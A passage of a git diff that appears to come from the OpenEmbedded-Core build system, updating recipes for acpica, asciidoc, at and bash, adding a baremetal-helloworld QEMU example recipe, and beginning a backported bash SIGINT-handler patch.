10SECTION = "console/tools" 10SECTION = "console/tools"
11 11
12LICENSE = "Intel | BSD | GPLv2" 12LICENSE = "Intel | BSD-3-Clause | GPL-2.0-only"
13LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=c33ce358fdcd142684e41e336b7992e8" 13LIC_FILES_CHKSUM = "file://source/compiler/aslcompile.c;beginline=7;endline=150;md5=05eb845b15a27440410f456adc2ed082"
14 14
15COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux" 15COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
16 16
17DEPENDS = "m4-native flex-native bison-native" 17DEPENDS = "m4-native flex-native bison-native"
18 18
19SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix-${PV}.tar.gz" 19SRC_URI = "git://github.com/acpica/acpica;protocol=https;branch=master"
20SRC_URI[sha256sum] = "a9be7b749025e60f93fde2fe531bfe0d84a33641d3e0c9b0f6049f996dbb1ff8" 20SRCREV = "170fc3076a86777077637f10b05c32ac21ac13aa"
21 21
22UPSTREAM_CHECK_URI = "https://acpica.org/downloads" 22S = "${WORKDIR}/git"
23
24S = "${WORKDIR}/acpica-unix-${PV}"
25 23
26inherit update-alternatives 24inherit update-alternatives
27 25
28ALTERNATIVE_PRIORITY = "100" 26ALTERNATIVE_PRIORITY = "100"
29ALTERNATIVE_${PN} = "acpixtract acpidump" 27ALTERNATIVE:${PN} = "acpixtract acpidump"
30 28
31EXTRA_OEMAKE = "CC='${CC}' \ 29EXTRA_OEMAKE = "CC='${CC}' \
32 OPT_CFLAGS=-Wall \ 30 OPT_CFLAGS=-Wall \
@@ -35,7 +33,7 @@ EXTRA_OEMAKE = "CC='${CC}' \
35 INSTALLDIR=${bindir} \ 33 INSTALLDIR=${bindir} \
36 INSTALLFLAGS= \ 34 INSTALLFLAGS= \
37 YACC=bison \ 35 YACC=bison \
38 YFLAGS='-y --file-prefix-map=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}' \ 36 YFLAGS='-y --file-prefix-map=${WORKDIR}=${TARGET_DBGSRC_DIR}' \
39 " 37 "
40 38
41do_install() { 39do_install() {
@@ -44,8 +42,8 @@ do_install() {
44 42
45# iasl*.bb is a subset of this recipe, so RREPLACE it 43# iasl*.bb is a subset of this recipe, so RREPLACE it
46PROVIDES = "iasl" 44PROVIDES = "iasl"
47RPROVIDES_${PN} += "iasl" 45RPROVIDES:${PN} += "iasl"
48RREPLACES_${PN} += "iasl" 46RREPLACES:${PN} += "iasl"
49RCONFLICTS_${PN} += "iasl" 47RCONFLICTS:${PN} += "iasl"
50 48
51BBCLASSEXTEND = "native" 49BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch b/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
deleted file mode 100644
index ca170db00f..0000000000
--- a/meta/recipes-extended/asciidoc/asciidoc/auto-catalogs.patch
+++ /dev/null
@@ -1,53 +0,0 @@
1If SGML_CATALOG_FILES is in the environment, pass --catalogs to xmllint and
2xsltproc. Also pass --nonet to xsltproc to detect future missing stylesheet
3problems.
4
5An earlier version of this patch was filed upstream at
6https://github.com/asciidoc/asciidoc-py3/issues/61 so depending on how that goes
7this could get merged.
8
9Upstream-Status: Inappropriate
10Signed-off-by: Ross Burton <ross.burton@intel.com>
11
12diff --git a/a2x.py b/a2x.py
13index 2d7699a..582d809 100755
14--- a/a2x.py
15+++ b/a2x.py
16@@ -57,6 +57,10 @@ LYNX_OPTS = '-dump'
17 W3M_OPTS = '-dump -cols 70 -T text/html -no-graph'
18 XSLTPROC_OPTS = ''
19
20+if "SGML_CATALOG_FILES" in os.environ:
21+ XMLLINT += " --catalogs"
22+ XSLTPROC += " --catalogs"
23+
24 ######################################################################
25 # End of configuration file parameters.
26 ######################################################################
27@@ -298,7 +302,7 @@ def exec_xsltproc(xsl_file, xml_file, dst_dir, opts = ''):
28 cwd = os.getcwd()
29 shell_cd(dst_dir)
30 try:
31- shell('"%s" %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
32+ shell('%s %s "%s" "%s"' % (XSLTPROC, opts, xsl_file, xml_file))
33 finally:
34 shell_cd(cwd)
35
36@@ -483,7 +487,7 @@ class A2X(AttrDict):
37 self.asciidoc_opts += ' --doctype %s' % self.doctype
38 for attr in self.attributes:
39 self.asciidoc_opts += ' --attribute "%s"' % attr
40-# self.xsltproc_opts += ' --nonet'
41+ self.xsltproc_opts += ' --nonet'
42 if self.verbose:
43 self.asciidoc_opts += ' --verbose'
44 self.dblatex_opts += ' -V'
45@@ -634,7 +638,7 @@ class A2X(AttrDict):
46 shell('"%s" --backend docbook -a "a2x-format=%s" %s --out-file "%s" "%s"' %
47 (self.asciidoc, self.format, self.asciidoc_opts, docbook_file, self.asciidoc_file))
48 if not self.no_xmllint and XMLLINT:
49- shell('"%s" --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
50+ shell('%s --nonet --noout --valid "%s"' % (XMLLINT, docbook_file))
51
52 def to_xhtml(self):
53 self.to_docbook()
diff --git a/meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
index bb4248a5e5..e112eb513d 100644
--- a/meta/recipes-extended/asciidoc/asciidoc_9.0.4.bb
+++ b/meta/recipes-extended/asciidoc/asciidoc_10.2.0.bb
@@ -4,13 +4,13 @@ articles, books and UNIX man pages."
4 4
5HOMEPAGE = "http://asciidoc.org/" 5HOMEPAGE = "http://asciidoc.org/"
6 6
7LICENSE = "GPLv2" 7LICENSE = "GPL-2.0-only"
8LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=4e5d1baf6f20559e3bec172226a47e4e \ 8LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=aaee33adce0fc7cc40fee23f82f7f101 \
9 file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 " 9 file://LICENSE;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
10 "
10 11
11SRC_URI = "git://github.com/asciidoc/asciidoc-py3;protocol=https;branch=main \ 12SRC_URI = "git://github.com/asciidoc/asciidoc-py;protocol=https;branch=main"
12 file://auto-catalogs.patch" 13SRCREV = "545b79b8d7dae70d12bf0657359bdd36de0c5c26"
13SRCREV = "8de61a75572b5b8f90c1f87634aa3767472be7a7"
14 14
15DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native" 15DEPENDS = "libxml2-native libxslt-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
16 16
@@ -20,14 +20,9 @@ S = "${WORKDIR}/git"
20# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch 20# opens /etc/xml/catalog on the host. Depends on auto-catalogs.patch
21export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog" 21export SGML_CATALOG_FILES="file://${STAGING_ETCDIR_NATIVE}/xml/catalog"
22 22
23# Not using automake 23inherit setuptools3
24inherit autotools-brokensep
25CLEANBROKEN = "1" 24CLEANBROKEN = "1"
26 25
27# target and nativesdk needs python3, but for native we can use the host.
28RDEPENDS_${PN} += "python3"
29RDEPENDS_remove_class-native = "python3"
30
31BBCLASSEXTEND = "native nativesdk" 26BBCLASSEXTEND = "native nativesdk"
32 27
33UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$" 28UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))$"
diff --git a/meta/recipes-extended/at/at/fix_parallel_build_error.patch b/meta/recipes-extended/at/at/fix_parallel_build_error.patch
deleted file mode 100644
index e4f32b82b6..0000000000
--- a/meta/recipes-extended/at/at/fix_parallel_build_error.patch
+++ /dev/null
@@ -1,37 +0,0 @@
1From 24ef2a6544f9c7ec01bc7ae73dffa2974a1e251d Mon Sep 17 00:00:00 2001
2From: Chen Qi <Qi.Chen@windriver.com>
3Date: Wed, 5 Dec 2018 09:46:22 +0800
4Subject: [PATCH] fix parallel build error
5
6make -j was failing sometimesa like this
7| ccache i586-poky-linux-gcc -march=i586 --sysroot=/home/nitin/build/build0/tmp/sysroots/i586-poky-linux -I. -fexpensive-optimizations -fomit-frame-pointer -frename-registers -O2 -ggdb -feliminate-unused-debug-types -o atd atd.o daemon.o -lfl -lpam -Wl,-O1 -Wl,--as-needed
8| parsetime.l:5:19: fatal error: y.tab.h: No such file or directory
9| compilation terminated.
10| make: *** [lex.yy.o] Error 1
11| make: *** Waiting for unfinished jobs....
12
13Fixed the issue by adding a dependency in the makefile.
14Nitin <nitin.a.kamble@intel.com>
152010/09/02
16
17Upstream-Status: Pending
18
19Signed-off-by: Scott Garman <scott.a.garman@intel.com>
20Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
21---
22 Makefile.in | 2 ++
23 1 file changed, 2 insertions(+)
24
25Index: at-3.2.1/Makefile.in
26===================================================================
27--- at-3.2.1.orig/Makefile.in
28+++ at-3.2.1/Makefile.in
29@@ -83,6 +83,8 @@ y.tab.c y.tab.h: parsetime.y
30 lex.yy.c: parsetime.l
31 $(LEX) -i parsetime.l
32
33+parsetime.l: y.tab.h
34+
35 atd.service: atd.service.in
36 cat $< | sed -e 's![@]sbindir[@]!$(sbindir)!g' | sed -e 's![@]atjobdir[@]!$(atjobdir)!g' > $@
37
diff --git a/meta/recipes-extended/at/at_3.2.1.bb b/meta/recipes-extended/at/at_3.2.5.bb
index ae15df8662..c0c876a644 100644
--- a/meta/recipes-extended/at/at_3.2.1.bb
+++ b/meta/recipes-extended/at/at_3.2.5.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://blog.calhariz.com/"
3DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \ 3DESCRIPTION = "At allows for commands to be run at a particular time. Batch will execute commands when \
4the system load levels drop to a particular level." 4the system load levels drop to a particular level."
5SECTION = "base" 5SECTION = "base"
6LICENSE = "GPLv2+" 6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4" 7LIC_FILES_CHKSUM = "file://COPYING;md5=4325afd396febcb659c36b49533135d4"
8DEPENDS = "flex flex-native bison-native \ 8DEPENDS = "flex flex-native bison-native \
9 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}" 9 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', 'libpam', '', d)}"
@@ -14,30 +14,29 @@ PACKAGECONFIG ?= "\
14 14
15PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux," 15PACKAGECONFIG[selinux] = "--with-selinux,--without-selinux,libselinux,"
16 16
17RDEPENDS_${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \ 17RDEPENDS:${PN} = "${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_DEPS}', '', d)} \
18" 18"
19 19
20PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits" 20PAM_DEPS = "libpam libpam-runtime pam-plugin-env pam-plugin-limits"
21 21
22RCONFLICTS_${PN} = "atd" 22RCONFLICTS:${PN} = "atd"
23RREPLACES_${PN} = "atd" 23RREPLACES:${PN} = "atd"
24 24
25SRC_URI = "http://software.calhariz.com/at/${BPN}_${PV}.orig.tar.gz \ 25SRC_URI = "${DEBIAN_MIRROR}/main/a/at/${BPN}_${PV}.orig.tar.gz \
26 file://fix_parallel_build_error.patch \ 26 file://posixtm.c \
27 file://posixtm.c \ 27 file://posixtm.h \
28 file://posixtm.h \ 28 file://file_replacement_with_gplv2.patch \
29 file://file_replacement_with_gplv2.patch \ 29 file://atd.init \
30 file://atd.init \ 30 file://atd.service \
31 file://atd.service \ 31 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \
32 ${@bb.utils.contains('DISTRO_FEATURES', 'pam', '${PAM_SRC_URI}', '', d)} \ 32 file://makefile-fix-parallel.patch \
33 file://makefile-fix-parallel.patch \ 33 file://0001-remove-glibc-assumption.patch \
34 file://0001-remove-glibc-assumption.patch \ 34 "
35 "
36 35
37PAM_SRC_URI = "file://pam.conf.patch \ 36PAM_SRC_URI = "file://pam.conf.patch \
38 file://configure-add-enable-pam.patch" 37 file://configure-add-enable-pam.patch"
39 38
40SRC_URI[sha256sum] = "aabe6e5cb6dd19fe9fb25c2747492f2db38762b95ea41b86f949609c39fb55c4" 39SRC_URI[sha256sum] = "bb066b389d7c9bb9d84a35738032b85c30cba7d949f758192adc72c9477fd3b8"
41 40
42EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \ 41EXTRA_OECONF += "ac_cv_path_SENDMAIL=/bin/true \
43 --with-daemon_username=root \ 42 --with-daemon_username=root \
@@ -51,12 +50,13 @@ inherit autotools-brokensep systemd update-rc.d
51INITSCRIPT_NAME = "atd" 50INITSCRIPT_NAME = "atd"
52INITSCRIPT_PARAMS = "defaults" 51INITSCRIPT_PARAMS = "defaults"
53 52
54SYSTEMD_SERVICE_${PN} = "atd.service" 53SYSTEMD_SERVICE:${PN} = "atd.service"
54
55do_patch[postfuncs] += "copy_posix_files"
55 56
56copy_sources() { 57copy_posix_files() {
57 cp -f ${WORKDIR}/posixtm.[ch] ${S} 58 cp -f ${WORKDIR}/posixtm.[ch] ${S}
58} 59}
59do_patch[postfuncs] += "copy_sources"
60 60
61do_install () { 61do_install () {
62 oe_runmake -e "IROOT=${D}" install 62 oe_runmake -e "IROOT=${D}" install
@@ -65,11 +65,12 @@ do_install () {
65 install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd 65 install -m 0755 ${WORKDIR}/atd.init ${D}${sysconfdir}/init.d/atd
66 66
67 # install systemd unit files 67 # install systemd unit files
68 install -d ${D}${systemd_unitdir}/system 68 install -d ${D}${systemd_system_unitdir}
69 install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_unitdir}/system 69 install -m 0644 ${WORKDIR}/atd.service ${D}${systemd_system_unitdir}
70 sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_unitdir}/system/atd.service 70 sed -i -e 's,@SBINDIR@,${sbindir},g' ${D}${systemd_system_unitdir}/atd.service
71 71
72 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then 72 if [ "${@bb.utils.filter('DISTRO_FEATURES', 'pam', d)}" ]; then
73 install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd 73 install -D -m 0644 ${WORKDIR}/${BP}/pam.conf ${D}${sysconfdir}/pam.d/atd
74 fi 74 fi
75 rm -f ${D}${datadir}/at/batch-job
75} 76}
diff --git a/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
new file mode 100644
index 0000000000..6832ccc541
--- /dev/null
+++ b/meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb
@@ -0,0 +1,72 @@
1SUMMARY = "Baremetal examples to work with the several QEMU architectures supported on OpenEmbedded"
2HOMEPAGE = "https://github.com/aehs29/baremetal-helloqemu"
3DESCRIPTION = "These are introductory examples to showcase the use of QEMU to run baremetal applications."
4LICENSE = "MIT"
5LIC_FILES_CHKSUM = "file://LICENSE;md5=39346640a23c701e4f459e05f56f4449"
6
7SRCREV = "db2bf750eaef7fc0832e13ada8291343bbcc3afe"
8PV = "0.1+git"
9
10SRC_URI = "git://github.com/ahcbb6/baremetal-helloqemu.git;protocol=https;branch=master"
11UPSTREAM_VERSION_UNKNOWN="1"
12
13S = "${WORKDIR}/git"
14
15# The following variables should be set to accomodate each application
16BAREMETAL_BINNAME ?= "hello_baremetal_${MACHINE}"
17IMAGE_LINK_NAME ?= "baremetal-helloworld-image-${MACHINE}"
18IMAGE_NAME_SUFFIX ?= ""
19
20# Baremetal-Image creates the proper wiring, assumes the output is provided in
21# binary and ELF format, installed on ${base_libdir}/firmware/ , we want a
22# package to be created since we might have some way of updating the baremetal
23# firmware from Linux
24inherit baremetal-image
25
26
27# startup code for x86 uses NASM syntax
28DEPENDS:qemux86:append = " nasm-native"
29
30# These parameters are app specific for this example
31# This will be translated automatically to the architecture and
32# machine that QEMU uses on OE, e.g. -machine virt -cpu cortex-a57
33# but the examples can also be run on other architectures/machines
34# such as vexpress-a15 by overriding the setting on the machine.conf
35COMPATIBLE_MACHINE = "qemuarmv5|qemuarm|qemuarm64|qemuriscv64|qemuriscv32|qemux86|qemux86-64"
36
37BAREMETAL_QEMUARCH ?= ""
38BAREMETAL_QEMUARCH:qemuarmv5 = "versatile"
39BAREMETAL_QEMUARCH:qemuarm = "arm"
40BAREMETAL_QEMUARCH:qemuarm64 = "aarch64"
41BAREMETAL_QEMUARCH:qemuriscv64 = "riscv64"
42BAREMETAL_QEMUARCH:qemuriscv32 = "riscv32"
43BAREMETAL_QEMUARCH:qemux86 = "x86"
44BAREMETAL_QEMUARCH:qemux86-64 = "x86-64"
45
46EXTRA_OEMAKE:append = " QEMUARCH=${BAREMETAL_QEMUARCH} V=1"
47
48# qemux86-64 uses a different Makefile
49do_compile:prepend:qemux86-64(){
50 cd x86-64
51}
52
53# Install binaries on the proper location for baremetal-image to fetch and deploy
54do_install(){
55 install -d ${D}/${base_libdir}/firmware
56 install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.bin ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin
57 install -m 755 ${B}/build/hello_baremetal_${BAREMETAL_QEMUARCH}.elf ${D}/${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf
58}
59
60FILES:${PN} += " \
61 ${base_libdir}/firmware/${BAREMETAL_BINNAME}.bin \
62 ${base_libdir}/firmware/${BAREMETAL_BINNAME}.elf \
63"
64
65# qemux86-64 boots from iso rather than -kernel, create image to boot from
66do_image:append:qemux86-64(){
67 dd if=/dev/zero of=${B}/build/img.iso bs=1M count=10 status=none
68 dd if=${B}/build/stage1.bin of=${B}/build/img.iso bs=512 count=1 conv=notrunc
69 dd if=${B}/build/stage2.bin of=${B}/build/img.iso bs=512 seek=1 count=64 conv=notrunc
70 dd if=${B}/build/hello_baremetal_x86-64.bin of=${B}/build/img.iso bs=512 seek=65 conv=notrunc
71 install ${B}/build/img.iso ${IMGDEPLOYDIR}/${IMAGE_LINK_NAME}.iso
72}
diff --git a/meta/recipes-extended/bash/bash.inc b/meta/recipes-extended/bash/bash.inc
index db326660ea..e541161c75 100644
--- a/meta/recipes-extended/bash/bash.inc
+++ b/meta/recipes-extended/bash/bash.inc
@@ -1,5 +1,6 @@
1SUMMARY = "An sh-compatible command language interpreter" 1SUMMARY = "An sh-compatible command language interpreter"
2HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html" 2HOMEPAGE = "http://tiswww.case.edu/php/chet/bash/bashtop.html"
3DESCRIPTION = "Bash is the GNU Project's Bourne Again SHell, a complete implementation of the IEEE POSIX and Open Group shell specification with interactive command line editing, job control on architectures that support it, csh-like features such as history substitution and brace expansion, and a slew of other features."
3SECTION = "base/shell" 4SECTION = "base/shell"
4 5
5DEPENDS = "ncurses bison-native virtual/libiconv" 6DEPENDS = "ncurses bison-native virtual/libiconv"
@@ -21,18 +22,18 @@ CFLAGS += "-DHEREDOC_PIPESIZE=65536"
21# causes a lot of garbage in non-interactive shells 22# causes a lot of garbage in non-interactive shells
22CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0" 23CFLAGS += "-DBRACKETED_PASTE_DEFAULT=0"
23 24
24ALTERNATIVE_${PN} = "bash sh" 25ALTERNATIVE:${PN} = "bash sh"
25ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash" 26ALTERNATIVE_LINK_NAME[bash] = "${base_bindir}/bash"
26ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash" 27ALTERNATIVE_TARGET[bash] = "${base_bindir}/bash"
27ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh" 28ALTERNATIVE_LINK_NAME[sh] = "${base_bindir}/sh"
28ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}" 29ALTERNATIVE_TARGET[sh] = "${base_bindir}/bash.${BPN}"
29ALTERNATIVE_PRIORITY = "100" 30ALTERNATIVE_PRIORITY = "100"
30 31
31RDEPENDS_${PN} += "base-files" 32RDEPENDS:${PN} += "base-files"
32RDEPENDS_${PN}_class-nativesdk = "" 33RDEPENDS:${PN}:class-nativesdk = ""
33RDEPENDS_${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv" 34RDEPENDS:${PN}-ptest += "make coreutils perl sed shadow util-linux-setpriv"
34 35
35RDEPENDS_${PN}-ptest_append_libc-glibc = " \ 36RDEPENDS:${PN}-ptest:append:libc-glibc = " \
36 glibc-gconv-big5hkscs \ 37 glibc-gconv-big5hkscs \
37 glibc-gconv-iso8859-1 \ 38 glibc-gconv-iso8859-1 \
38 glibc-utils \ 39 glibc-utils \
@@ -45,13 +46,13 @@ RDEPENDS_${PN}-ptest_append_libc-glibc = " \
45 46
46CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}" 47CACHED_CONFIGUREVARS += "headersdir=${includedir}/${PN}"
47 48
48do_configure_prepend () { 49do_configure:prepend () {
49 if [ ! -e ${S}/acinclude.m4 ]; then 50 if [ ! -e ${S}/acinclude.m4 ]; then
50 cat ${S}/aclocal.m4 > ${S}/acinclude.m4 51 cat ${S}/aclocal.m4 > ${S}/acinclude.m4
51 fi 52 fi
52} 53}
53 54
54do_compile_prepend() { 55do_compile:prepend() {
55 # Remove any leftover .build files. This ensures that bash always has the 56 # Remove any leftover .build files. This ensures that bash always has the
56 # same version number and keeps builds reproducible 57 # same version number and keeps builds reproducible
57 rm -f ${B}/.build 58 rm -f ${B}/.build
@@ -61,14 +62,20 @@ do_compile_ptest () {
61 oe_runmake buildtest 62 oe_runmake buildtest
62} 63}
63 64
64do_install_append () { 65do_install:prepend () {
66 # Ensure determinism as this counter increases for each make call
67 rm -f ${B}/.build
68}
69
70do_install:append () {
65 # Move /usr/bin/bash to /bin/bash, if need 71 # Move /usr/bin/bash to /bin/bash, if need
66 if [ "${base_bindir}" != "${bindir}" ]; then 72 if [ "${base_bindir}" != "${bindir}" ]; then
67 mkdir -p ${D}${base_bindir} 73 mkdir -p ${D}${base_bindir}
68 mv ${D}${bindir}/bash ${D}${base_bindir} 74 mv ${D}${bindir}/bash ${D}${base_bindir}
69 fi 75 fi
70} 76}
71do_install_append_class-target () { 77
78fix_absolute_paths () {
72 # Clean buildhost references in bashbug 79 # Clean buildhost references in bashbug
73 sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \ 80 sed -i -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
74 -e "s,-I${WORKDIR}/\S* ,,g" \ 81 -e "s,-I${WORKDIR}/\S* ,,g" \
@@ -87,12 +94,24 @@ do_install_append_class-target () {
87 ${D}${libdir}/bash/Makefile.inc 94 ${D}${libdir}/bash/Makefile.inc
88} 95}
89 96
97do_install:append:class-target () {
98 fix_absolute_paths
99}
100
101do_install:append:class-nativesdk () {
102 fix_absolute_paths
103}
104
90do_install_ptest () { 105do_install_ptest () {
91 make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test 106 make INSTALL_TEST_DIR=${D}${PTEST_PATH}/tests install-test
92 cp ${B}/Makefile ${D}${PTEST_PATH} 107 cp ${B}/Makefile ${D}${PTEST_PATH}
108 cp ${B}/config.h ${D}${PTEST_PATH}
109 cp ${B}/version.h ${D}${PTEST_PATH}
110 cp ${S}/y.tab.[ch] ${D}${PTEST_PATH}
93 install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests 111 install -D ${WORKDIR}/run-bash-ptests ${D}${PTEST_PATH}/run-bash-ptests
94 sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \ 112 sed -i -e 's/^Makefile/_Makefile/' -e "s,--sysroot=${STAGING_DIR_TARGET},,g" \
95 -e 's|${DEBUG_PREFIX_MAP}||g' \ 113 -e 's|${DEBUG_PREFIX_MAP}||g' \
114 -e 's|${BUILD_LDFLAGS}||g' \
96 -e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \ 115 -e "s,${S},,g" -e "s,${B},,g" -e "s,${STAGING_DIR_NATIVE},,g" \
97 -e 's:${HOSTTOOLS_DIR}/::g' \ 116 -e 's:${HOSTTOOLS_DIR}/::g' \
98 -e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \ 117 -e 's:${UNINATIVE_LOADER}:${base_bindir}/false:g' \
@@ -103,20 +122,22 @@ do_install_ptest () {
103# hash 122# hash
104do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER" 123do_install_ptest[vardepsexclude] += "UNINATIVE_LOADER"
105 124
106pkg_postinst_${PN} () { 125pkg_postinst:${PN} () {
107 grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells 126 grep -q "^${base_bindir}/bash$" $D${sysconfdir}/shells || echo ${base_bindir}/bash >> $D${sysconfdir}/shells
108} 127}
109 128
110pkg_postrm_${PN} () { 129pkg_postrm:${PN} () {
111 printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells 130 printf "$(grep -v "^${base_bindir}/bash$" $D${sysconfdir}/shells)\n" > $D${sysconfdir}/shells
112} 131}
113 132
114PACKAGES += "${PN}-bashbug" 133PACKAGES += "${PN}-bashbug"
115FILES_${PN} = "${bindir}/bash ${base_bindir}/bash.bash" 134FILES:${PN} = "${bindir}/bash ${base_bindir}/bash.bash"
116FILES_${PN}-bashbug = "${bindir}/bashbug" 135FILES:${PN}-bashbug = "${bindir}/bashbug"
117 136
118PACKAGE_BEFORE_PN += "${PN}-loadable" 137PACKAGE_BEFORE_PN += "${PN}-loadable"
119RDEPENDS_${PN}-loadable += "${PN}" 138RDEPENDS:${PN}-loadable += "${PN}"
120FILES_${PN}-loadable += "${libdir}/bash/*" 139FILES:${PN}-loadable += "${libdir}/bash/*"
121 140
122RPROVIDES_${PN} += "${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}" 141# Limit the RPROVIDES here to class target so that if usrmerge is enabled for nativesdk, it does not
142# include host system paths in /bin/
143RPROVIDES:${PN}:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'usrmerge', '/bin/sh /bin/bash', '', d)}"
diff --git a/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
new file mode 100644
index 0000000000..77d770b364
--- /dev/null
+++ b/meta/recipes-extended/bash/bash/0001-changes-to-SIGINT-handler-while-waiting-for-a-child-.patch
@@ -0,0 +1,226 @@
1From 721d5be99eb37d31e48bd66d61808a66a4c5ab84 Mon Sep 17 00:00:00 2001
2From: Chet Ramey <chet.ramey@case.edu>
3Date: Mon, 30 Oct 2023 12:16:07 -0400
4Subject: [PATCH] changes to SIGINT handler while waiting for a child; skip
5 vertical whitespace after translating an integer
6
7Upstream-Status: Backport from
8[https://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id=fe24a6a55e8850298b496c5b9d82f1866eba190e]
9
10[Adjust and drop some codes to be applicable the tree]
11
12Signed-off-by: Xiangyu Chen <xiangyu.chen@windriver.com>
13---
14 general.c | 5 +++--
15 jobs.c | 24 ++++++++++++++++--------
16 tests/redir.right | 4 ++--
17 tests/redir11.sub | 2 ++
18 tests/type.right | 16 ++++++++--------
19 tests/type.tests | 24 ++++++++++++------------
20 6 files changed, 43 insertions(+), 32 deletions(-)
21
22diff --git a/general.c b/general.c
23index 85c5a8b6..65e2ee06 100644
24--- a/general.c
25+++ b/general.c
26@@ -262,8 +262,9 @@ legal_number (string, result)
27 if (errno || ep == string)
28 return 0; /* errno is set on overflow or underflow */
29
30- /* Skip any trailing whitespace, since strtoimax does not. */
31- while (whitespace (*ep))
32+ /* Skip any trailing whitespace, since strtoimax does not, using the same
33+ test that strtoimax uses for leading whitespace. */
34+ while (isspace ((unsigned char) *ep))
35 ep++;
36
37 /* If *string is not '\0' but *ep is '\0' on return, the entire string
38diff --git a/jobs.c b/jobs.c
39index 6b986ed7..262d78de 100644
40--- a/jobs.c
41+++ b/jobs.c
42@@ -2718,6 +2718,10 @@ wait_for_background_pids (ps)
43 #define INVALID_SIGNAL_HANDLER (SigHandler *)wait_for_background_pids
44 static SigHandler *old_sigint_handler = INVALID_SIGNAL_HANDLER;
45
46+/* The current SIGINT handler as set by restore_sigint_handler. Only valid
47+ immediately after restore_sigint_handler, used for continuations. */
48+static SigHandler *cur_sigint_handler = INVALID_SIGNAL_HANDLER;
49+
50 static int wait_sigint_received;
51 static int child_caught_sigint;
52
53@@ -2735,6 +2739,7 @@ wait_sigint_cleanup ()
54 static void
55 restore_sigint_handler ()
56 {
57+ cur_sigint_handler = old_sigint_handler;
58 if (old_sigint_handler != INVALID_SIGNAL_HANDLER)
59 {
60 set_signal_handler (SIGINT, old_sigint_handler);
61@@ -2758,8 +2763,7 @@ wait_sigint_handler (sig)
62 restore_sigint_handler ();
63 /* If we got a SIGINT while in `wait', and SIGINT is trapped, do
64 what POSIX.2 says (see builtins/wait.def for more info). */
65- if (this_shell_builtin && this_shell_builtin == wait_builtin &&
66- signal_is_trapped (SIGINT) &&
67+ if (signal_is_trapped (SIGINT) &&
